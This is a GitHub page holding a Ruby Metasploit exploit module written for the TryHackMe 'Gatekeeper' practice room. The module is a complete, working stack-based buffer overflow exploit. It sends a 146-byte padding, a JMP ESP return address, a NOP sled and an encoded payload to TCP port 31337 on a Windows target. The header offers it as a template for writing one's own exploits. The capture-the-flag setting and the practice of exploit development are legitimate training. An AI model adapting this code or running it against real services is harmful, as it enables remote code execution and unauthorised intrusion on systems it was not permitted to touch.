-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathGatekeeper.rb
54 lines (41 loc) · 1.18 KB
/
Gatekeeper.rb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
######Metasploit module for TryHackMe Gatekeeper####
######perfect for practice BoF or to use as a template for creatin' your own####
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
#####
include Msf::Exploit::Remote::Tcp
#####
def initialize(info = {})
super(update_info(info,
'Name' => 'Gate_Opener', #Name
'Description' => %q{
This module exploits a stack-based buffer overflow for TryHackMe room "Gatekeeper"
},
'Author' => 'O1phori3',
'License' => MSF_LICENSE,
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
'RPORT' => 31337
},
'Payload' =>
{
'BadChars' => "\x00\x0a", #BadCharacters
},
'Platform' => 'win',
'Targets' =>
[
['Gatekeeper.exe' , { 'Ret' => 0x080416BF} ], #CALL ESP / JMP ESP
],
'DefaultTarget' => 0))
end
def exploit
connect
print_status("Connected to #{datastore['RHOST']}:#{datastore['RPORT']}")
print_status("Trying target #{target.name}")
buff = "\x41"*146 + [target.ret].pack('V') + "\x90" * 20 + payload.encoded + "\n"
handler
sock.put(buff)
disconnect
end
end